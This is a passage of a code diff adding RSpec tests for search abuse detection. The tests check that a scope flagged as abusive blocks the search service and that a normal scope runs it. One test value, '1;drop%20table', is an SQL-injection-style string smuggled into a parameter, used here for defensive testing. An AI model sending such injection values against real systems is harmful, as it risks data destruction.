+      let(:scope) { '1;drop%20table' }
+
+      it 'does NOT execute search service' do
+        expect(search_service).not_to receive(:execute)
+        subject.search_results
+      end
+    end
+
+    context 'a search is NOT abusive' do
+      let(:should_detect_abuse) { true }
+      let(:scope) { 'issues' }
+
+      it 'executes search service' do
+        expect(search_service).to receive(:execute)
+        subject.search_results
+      end
+    end
+  end
 end